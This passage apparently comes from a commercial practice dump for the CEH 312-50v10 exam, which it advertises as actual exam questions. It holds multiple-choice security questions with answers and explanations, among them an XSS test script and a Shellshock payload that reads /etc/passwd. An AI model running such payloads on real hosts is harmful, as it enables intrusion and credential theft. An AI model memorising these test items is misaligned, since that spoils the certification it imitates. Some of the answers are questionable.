- D. Assess what the organization is trying to protect.

Answer: C

NEW QUESTION 599

Which of the following is a primary service of the U.S. Computer Security Incident Response Team (CSIRT)?

- A. CSIRT provides an incident response service to enable a reliable and trusted single point of contact for reporting computer security incidents worldwide.
- B. CSIRT provides a computer security surveillance service to supply a government with important intelligence information on individuals travelling abroad.
- C. CSIRT provides a penetration testing service to support exception reporting on incidents worldwide by individuals and multi-national corporations.
- D. CSIRT provides a vulnerability assessment service to assist law enforcement agencies with profiling an individual's property or company's asset.

Answer: A

NEW QUESTION 600

In the OSI model, where does PPTP encryption take place?

- A. Transport layer
- B. Application layer
- C. Data link layer
- D. Network layer

Answer: C

NEW QUESTION 604

While testing the company's web applications, a tester attempts to insert the following test script into the search area on the company's web site:

```
<script>alert(" Testing Testing Testing ")</script>
```

Afterwards, when the tester presses the search button, a pop-up box appears on the screen with the text: "Testing Testing Testing". Which vulnerability has been

detected in the web application?

- A. Buffer overflow
- B. Cross-site request forgery
- C. Distributed denial of service
- D. Cross-site scripting

Answer: D

NEW QUESTION 605

A technician is resolving an issue where a computer is unable to connect to the Internet using a wireless access point. The computer is able to transfer files locally to other machines, but cannot successfully reach the Internet. When the technician examines the IP address and default gateway they are both on the 192.168.1.0/24. Which of the following has occurred?

- A. The gateway is not routing to a public IP address.
- B. The computer is using an invalid IP address.
- C. The gateway and the computer are not on the same network.
- D. The computer is not using a private IP address.

Answer: A

NEW QUESTION 610

Which of the following ensures that updates to policies, procedures, and configurations are made in a controlled and documented fashion?

- A. Regulatory compliance
- B. Peer review
- C. Change management
- D. Penetration testing

Answer: C

NEW QUESTION 613

Which of the following is optimized for confidential communications, such as bidirectional voice and video?

- A. RC4
- B. RC5
- C. MD4
- D. MD5

Answer: A

NEW QUESTION 618

A Certificate Authority (CA) generates a key pair that will be used for encryption and decryption of email. The integrity of the encrypted email is dependent on the security of which of the following?

- A. Public key
- B. Private key
- C. Modulus length
- D. Email server certificate

Answer: B

NEW QUESTION 623

Which of the following network attacks takes advantage of weaknesses in the fragment reassembly functionality of the TCP/IP protocol stack?

- A. Teardrop
- B. SYN flood
- C. Smurf attack
- D. Ping of death

Answer: A

NEW QUESTION 624

Which Open Web Application Security Project (OWASP) implements a web application full of known vulnerabilities?

- A. WebBugs
- B. WebGoat
- C. VULN_HTML
- D. WebScarab

Answer: B

NEW QUESTION 627

How do employers protect assets with security policies pertaining to employee surveillance activities?

- A. Employers promote monitoring activities of employees as long as the employees demonstrate trustworthiness.
- B. Employers use informal verbal communication channels to explain employee monitoring activities to employees.
- C. Employers use network surveillance to monitor employee email traffic, network access, and to record employee keystrokes.
- D. Employers provide employees written statements that clearly discuss the boundaries of monitoring activities and consequences.

Answer: D

NEW QUESTION 630

Company A and Company B have just merged and each has its own Public Key Infrastructure (PKI). What must the Certificate Authorities (CAs) establish so that the private PKIs for Company A and Company B trust one another and each private PKI can validate digital certificates from the other company?

- A. Poly key exchange
- B. Cross certification
- C. Poly key reference
- D. Cross-site exchange

Answer: B

NEW QUESTION 632

Which United States legislation mandates that the Chief Executive Officer (CEO) and the Chief Financial Officer (CFO) must sign statements verifying the completeness and accuracy of financial reports?

- A. Sarbanes-Oxley Act (SOX)
- B. Gramm-Leach-Bliley Act (GLBA)
- C. Fair and Accurate Credit Transactions Act (FACTA)
- D. Federal Information Security Management Act (FISMA)

Answer: A

NEW QUESTION 636

An IT security engineer notices that the company's web server is currently being hacked. What should the engineer do next?

- A. Unplug the network connection on the company's web server.
- B. Determine the origin of the attack and launch a counterattack.
- C. Record as much information as possible from the attack.
- D. Perform a system restart on the company's web server.

Answer: C

NEW QUESTION 640

Which statement best describes a server type under an N-tier architecture?

- A. A group of servers at a specific layer
- B. A single server with a specific role
- C. A group of servers with a unique role
- D. A single server at a specific layer

Answer: C

NEW QUESTION 645

Which of the following items is unique to the N-tier architecture method of designing software applications?

- A. Application layers can be separated, allowing each layer to be upgraded independently from other layers.
- B. It is compatible with various databases including Access, Oracle, and SQL.
- C. Data security is tied into each layer and must be updated for all layers when any upgrade is performed.
- D. Application layers can be written in C, ASP.NET, or Delphi without any performance loss.

Answer: A

NEW QUESTION 648

What are the three types of compliance that the Open Source Security Testing Methodology Manual (OSSTMM) recognizes?

- A. Legal, performance, audit
- B. Audit, standards based, regulatory
- C. Contractual, regulatory, industry
- D. Legislative, contractual, standards based

Answer: D

NEW QUESTION 652

What is the primary drawback to using advanced encryption standard (AES) algorithm with a 256 bit key to share sensitive data?

- A. Due to the key size, the time it will take to encrypt and decrypt the message hinders efficient communication.
- B. To get messaging programs to function with this algorithm requires complex configurations.
- C. It has been proven to be a weak cipher; therefore, should not be trusted to protect sensitive data.

D. It is a symmetric key algorithm, meaning each recipient must receive the key through a different channel than the message.

Answer: D

NEW QUESTION 655

Which of the following can take an arbitrary length of input and produce a message digest output of 160 bit?

- A. SHA-1
- B. MD5
- C. HAVAL
- D. MD4

Answer: A

NEW QUESTION 656

Which type of security document is written with specific step-by-step details?

- A. Process
- B. Procedure
- C. Policy
- D. Paradigm

Answer: B

NEW QUESTION 659

Advanced encryption standard is an algorithm used for which of the following?

- A. Data integrity
- B. Key discovery
- C. Bulk data encryption
- D. Key recovery

Answer: C

NEW QUESTION 661

A certified ethical hacker (CEH) completed a penetration test of the main headquarters of a company almost two months ago, but has yet to get paid. The customer is suffering from financial problems, and the CEH is worried that the company will go out of business and end up not paying. What actions should the CEH take?

- A. Threaten to publish the penetration test results if not paid.
- B. Follow proper legal procedures against the company to request payment.
- C. Tell other customers of the financial problems with payments from this company.
- D. Exploit some of the vulnerabilities found on the company webserver to deface it.

Answer: B

NEW QUESTION 663

Which of the following tools would be the best choice for achieving compliance with PCI Requirement 11?

- A. Truecrypt
- B. Sub7
- C. Nessus
- D. Clamwin

Answer: C

NEW QUESTION 664

A network security administrator is worried about potential man-in-the-middle attacks when users access a corporate web site from their workstations. Which of the following is the best remediation against this type of attack?

- A. Implementing server-side PKI certificates for all connections
- B. Mandating only client-side PKI certificates for all connections
- C. Requiring client and server PKI certificates for all connections
- D. Requiring strong authentication for all DNS queries

Answer: C

NEW QUESTION 669

When setting up a wireless network, an administrator enters a pre-shared key for security. Which of the following is true?

- A. The key entered is a symmetric key used to encrypt the wireless data.
- B. The key entered is a hash that is used to prove the integrity of the wireless data.
- C. The key entered is based on the Diffie-Hellman method.
- D. The key is an RSA key used to encrypt the wireless data.

Answer: A

NEW QUESTION 670

Which cipher encrypts the plain text digit (bit or byte) one by one?

- A. Classical cipher
- B. Block cipher
- C. Modern cipher
- D. Stream cipher

Answer: D

Explanation: Topic 4, Exam Pool D

NEW QUESTION 671

Which of the following is the least-likely physical characteristic to be used in biometric control that supports a large company?

- A. Height and Weight
- B. Voice
- C. Fingerprints
- D. Iris patterns

Answer: A

Explanation: There are two main types of biometric identifiers:

Examples of physiological characteristics used for biometric authentication include fingerprints; DNA; face, hand, retina or ear features; and odor. Behavioral characteristics are related to the pattern of the behavior of a person, such as typing rhythm, gait, gestures and voice.

References:

<http://searchsecurity.techtarget.com/definition/biometrics>

NEW QUESTION 674

You've just been hired to perform a pen test on an organization that has been subjected to a large-scale attack. The CIO is concerned with mitigating threats and vulnerabilities to totally eliminate risk.

What is one of the first things you should do when given the job?

- A. Explain to the CIO that you cannot eliminate all risk, but you will be able to reduce risk to acceptable levels.
- B. Interview all employees in the company to rule out possible insider threats.
- C. Establish attribution to suspected attackers.
- D. Start the Wireshark application to start sniffing network traffic.

Answer: A

Explanation: The goals of penetration tests are:

References: https://en.wikipedia.org/wiki/Penetration_test

NEW QUESTION 676

Perspective clients want to see sample reports from previous penetration tests. What should you do next?

- A. Decline but, provide references.
- B. Share full reports, not redacted.
- C. Share full reports with redactions.
- D. Share reports, after NDA is signed.

Answer: A

Explanation: Penetration tests data should not be disclosed to third parties.

NEW QUESTION 680

Which of the following is a component of a risk assessment?

- A. Administrative safeguards
- B. Physical security
- C. DMZ
- D. Logical interface

Answer: A

Explanation: Risk assessment include:

References: https://en.wikipedia.org/wiki/IT_risk_management#Risk_assessment

NEW QUESTION 684

You have successfully gained access to your client's internal network and successfully compromised a Linux server which is part of the internal IP network. You want

to know which Microsoft Windows workstations have file sharing enabled.
Which port would you see listening on these Windows machines in the network?

- A. 445
- B. 3389
- C. 161
- D. 1433

Answer: A

Explanation: The following ports are associated with file sharing and server message block (SMB) communications: References: <https://support.microsoft.com/en-us/kb/298804>

NEW QUESTION 688

What is a "Collision attack" in cryptography?

- A. Collision attacks try to find two inputs producing the same hash.
- B. Collision attacks try to break the hash into two parts, with the same bytes in each part to get the private key.
- C. Collision attacks try to get the public key.
- D. Collision attacks try to break the hash into three parts to get the plaintext value.

Answer: A

Explanation: A Collision Attack is an attempt to find two input strings of a hash function that produce the same hash result. References: <https://learncryptography.com/hash-functions/hash-collision-attack>

NEW QUESTION 691

The purpose of a _____ is to deny network access to local area networks and other information assets by unauthorized wireless devices.

- A. Wireless Intrusion Prevention System
- B. Wireless Access Point
- C. Wireless Access Control List
- D. Wireless Analyzer

Answer: A

Explanation: A wireless intrusion prevention system (WIPS) is a network device that monitors the radio spectrum for the presence of unauthorized access points (intrusion detection), and can automatically take countermeasures (intrusion prevention).
References: https://en.wikipedia.org/wiki/Wireless_intrusion_prevention_system

NEW QUESTION 696

A common cryptographical tool is the use of XOR. XOR the following binary values:

10110001
00111010

- A. 10001011
- B. 11011000
- C. 10011101
- D. 10111100

Answer: A

Explanation: The XOR gate is a digital logic gate that implements an exclusive or; that is, a true output (1/HIGH) results if one, and only one, of the inputs to the gate is true. If both inputs are false (0/LOW) or both are true, a false output results. XOR represents the inequality function, i.e., the output is true if the inputs are not alike otherwise the output is false. A way to remember XOR is "one or the other but not both".
References: https://en.wikipedia.org/wiki/XOR_gate

NEW QUESTION 697

How does the Address Resolution Protocol (ARP) work?

- A. It sends a request packet to all the network elements, asking for the MAC address from a specific IP.
- B. It sends a reply packet to all the network elements, asking for the MAC address from a specific IP.
- C. It sends a reply packet for a specific IP, asking for the MAC address.
- D. It sends a request packet to all the network elements, asking for the domain name from a specific IP.

Answer: A

Explanation: When an incoming packet destined for a host machine on a particular local area network arrives at a gateway, the gateway asks the ARP program to find a physical host or MAC address that matches the IP address. The ARP program looks in the ARP cache and, if it finds the address, provides it so that the packet can be converted to the right packet length and format and sent to the machine. If no entry is found for the IP address, ARP broadcasts a request packet in a special format to all the machines on the LAN to see if one machine knows that it has that IP address associated with it. A machine that recognizes the IP address as its own returns a reply so indicating. ARP updates the ARP cache for future reference and then sends the packet to the MAC address that replied.
References:
<http://searchnetworking.techtarget.com/definition/Address-Resolution-Protocol-ARP>

NEW QUESTION 698

```
env x=`() { : }; echo exploit` bash -c 'cat /etc/passwd'
```

What is the Shellshock bash vulnerability attempting to do on a vulnerable Linux host?

- A. Display passwd content to prompt
- B. Removes the passwd file
- C. Changes all passwords in passwd
- D. Add new user to the passwd file

Answer: A

Explanation: To extract private information, attackers are using a couple of techniques. The simplest extraction attacks are in the form:

```
() { : }; /bin/cat /etc/passwd
```

That reads the password file /etc/passwd, and adds it to the response from the web server. So an attacker injecting this code through the Shellshock vulnerability would see the password file dumped out onto their screen as part of the web page returned.

References: <https://blog.cloudflare.com/inside-shellshock/>

NEW QUESTION 699

You have successfully compromised a machine on the network and found a server that is alive on the same network. You tried to ping it but you didn't get any response back.

What is happening?

- A. ICMP could be disabled on the target server.
- B. The ARP is disabled on the target server.
- C. TCP/IP doesn't support ICMP.
- D. You need to run the ping command with root privileges.

Answer: A

Explanation: The ping utility is implemented using the ICMP "Echo request" and "Echo reply" messages.

Note: The Internet Control Message Protocol (ICMP) is one of the main protocols of the internet protocol suite. It is used by network devices, like routers, to send error messages indicating, for example, that a requested service is not available or that a host or router could not be reached.

References: https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol

NEW QUESTION 703

Which of the following is an extremely common IDS evasion technique in the web world?

- A. unicode characters
- B. spyware
- C. port knocking
- D. subnetting

Answer: A

Explanation: Unicode attacks can be effective against applications that understand it. Unicode is the international standard whose goal is to represent every character needed by every written human language as a single integer number. What is known as Unicode evasion should more correctly be referenced as UTF-8 evasion. Unicode characters are normally represented with two bytes, but this is impractical in real life.

One aspect of UTF-8 encoding causes problems: non-Unicode characters can be represented encoded. What is worse is multiple representations of each character can exist. Non-Unicode character encodings are known as overlong characters, and may be signs of attempted attack.

References:

<http://books.gigatux.nl/mirror/apacheseconomy/0596007248/apachesc-chp-10-sect-8.html>

NEW QUESTION 705

During a blackbox pen test you attempt to pass IRC traffic over port 80/TCP from a compromised web enabled host. The traffic gets blocked; however, outbound HTTP traffic is unimpeded.

What type of firewall is inspecting outbound traffic?

- A. Application
- B. Circuit
- C. Stateful
- D. Packet Filtering

Answer: A

Explanation: An application firewall is an enhanced firewall that limits access by applications to the operating system (OS) of a computer. Conventional firewalls merely control the flow of data to and from the central processing unit (CPU), examining each packet and determining whether or not to forward it toward a particular destination. An application firewall offers additional protection by controlling the execution of files or the handling of data by specific applications.

References:

<http://searchsoftwarequality.techtarget.com/definition/application-firewall>

NEW QUESTION 708

You have compromised a server and successfully gained a root access. You want to pivot and pass traffic undetected over the network and evade any possible

Intrusion Detection System.
What is the best approach?

- A. Install Cryptcat and encrypt outgoing packets from this server.
- B. Install and use Telnet to encrypt all outgoing traffic from this server.
- C. Use Alternate Data Streams to hide the outgoing packets from this server.
- D. Use HTTP so that all traffic can be routed via a browser, thus evading the internal Intrusion Detection Systems.

Answer: A

Explanation: Cryptcat enables us to communicate between two systems and encrypts the communication between them with twofish.

References:

<http://null-byte.wonderhowto.com/how-to/hack-like-pro-create-nearly-undetected-backdoor-with-cryptcat-014>

NEW QUESTION 713

A hacker has successfully infected an internet-facing server which he will then use to send junk mail, take part in coordinated attacks, or host junk email content. Which sort of trojan infects this server?

- A. Botnet Trojan
- B. Turtle Trojans
- C. Banking Trojans
- D. Ransomware Trojans

Answer: A

Explanation: In computer science, a zombie is a computer connected to the Internet that has been compromised by a hacker, computer virus or trojan horse and can be used to perform malicious tasks of one sort or another under remote direction. Botnets of zombie computers are often used to spread e-mail spam and launch denial-of-service attacks. Most owners of zombie computers are unaware that their system is being used in this way. Because the owner tends to be unaware, these computers are metaphorically compared to zombies. A coordinated DDoS attack by multiple botnet machines also resembles a zombie horde attack.

NEW QUESTION 718

When you return to your desk after a lunch break, you notice a strange email in your inbox. The sender is someone you did business with recently, but the subject line has strange characters in it. What should you do?

- A. Forward the message to your company's security response team and permanently delete the message from your computer.
- B. Reply to the sender and ask them for more information about the message contents.
- C. Delete the email and pretend nothing happened
- D. Forward the message to your supervisor and ask for her opinion on how to handle the situation

Answer: A

Explanation: By setting up an email address for your users to forward any suspicious email to, the emails can be automatically scanned and replied to, with security incidents created to follow up on any emails with attached malware or links to known bad websites.

References:

https://docs.servicenow.com/bundle/helsinki-security-management/page/product/threat-intelligence/task/t_Confi

NEW QUESTION 723

Which of the following is not a Bluetooth attack?

- A. Bluedriving
- B. Bluejacking
- C. Bluesmacking
- D. Bluesnarfing

Answer: A

NEW QUESTION 727

You've gained physical access to a Windows 2008 R2 server which has an accessible disc drive. When you attempt to boot the server and log in, you are unable to guess the password. In your tool kit you have an Ubuntu 9.10 Linux LiveCD. Which Linux based tool has the ability to change any user's password or to activate disabled Windows accounts?

- A. CHNTPW
- B. Cain & Abel
- C. SET
- D. John the Ripper

Answer: A

Explanation: chntpw is a software utility for resetting or blanking local passwords used by Windows NT, 2000, XP, Vista, 7, 8 and 8.1. It does this by editing the SAM database where Windows stores password hashes.

References: <https://en.wikipedia.org/wiki/Chntpw>

NEW QUESTION 732

As a Certified Ethical Hacker, you were contracted by a private firm to conduct an external security assessment through penetration testing. What document describes the specifics of the testing, the associated violations, and essentially protects both the organization's interest and your liabilities as a tester?

- A. Terms of Engagement
- B. Project Scope
- C. Non-Disclosure Agreement
- D. Service Level Agreement

Answer: A

NEW QUESTION 736

What is the best description of SQL Injection?

- A. It is an attack used to gain unauthorized access to a database.
- B. It is an attack used to modify code in an application.
- C. It is a Man-in-the-Middle attack between your SQL Server and Web App Server.
- D. It is a Denial of Service Attack.

Answer: A

Explanation: SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).

References: https://en.wikipedia.org/wiki/SQL_injection

NEW QUESTION 741

This asymmetry cipher is based on factoring the product of two large prime numbers. What cipher is described above?

- A. RSA
- B. SHA
- C. RC5
- D. MD5

Answer: A

Explanation: RSA is based on the practical difficulty of factoring the product of two large prime numbers, the factoring problem.

Note: A user of RSA creates and then publishes a public key based on two large prime numbers, along with an auxiliary value. The prime numbers must be kept secret. Anyone can use the public key to encrypt a message, but with currently published methods, if the public key is large enough, only someone with knowledge of the prime numbers can feasibly decode the message.

References: [https://en.wikipedia.org/wiki/RSA_\(cryptosystem\)](https://en.wikipedia.org/wiki/RSA_(cryptosystem))

NEW QUESTION 744

You are attempting to man-in-the-middle a session. Which protocol will allow you to guess a sequence number?

- A. TCP
- B. UDP
- C. ICMP
- D. UPX

Answer: A

Explanation: At the establishment of a TCP session the client starts by sending a SYN-packet (SYN=synchronize) with a sequence number. To hijack a session it is required to send a packet with a right seq-number, otherwise they are dropped.

References: <https://www.exploit-db.com/papers/13587/>

NEW QUESTION 749

Which of the following is the successor of SSL?

- A. TLS
- B. RSA
- C. GRE
- D. IPSec

Answer: A

Explanation: Transport Layer Security (TLS) and its predecessor, Secure Sockets Layer (SSL), both of which are frequently referred to as 'SSL', are cryptographic protocols that provide communications security over a computer network.

References: https://en.wikipedia.org/wiki/Transport_Layer_Security

NEW QUESTION 750

You are using NMAP to resolve domain names into IP addresses for a ping sweep later.

Which of the following commands looks for IP addresses?

- A. >host -t a hackeddomain.com
- B. >host -t soa hackeddomain.com
- C. >host -t ns hackeddomain.com
- D. >host -t AXFR hackeddomain.com

Answer: A

Explanation: The A record is an Address record. It returns a 32-bit IPv4 address, most commonly used to map hostnames to an IP address of the host.
References: https://en.wikipedia.org/wiki/List_of_DNS_record_types

NEW QUESTION 753

.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

312-50v10 Practice Exam Features:

- * 312-50v10 Questions and Answers Updated Frequently
- * 312-50v10 Practice Questions Verified by Expert Senior Certified Staff
- * 312-50v10 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- * 312-50v10 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

100% Actual & Verified — Instant Download, Please Click
[Order The 312-50v10 Practice Test Here](#)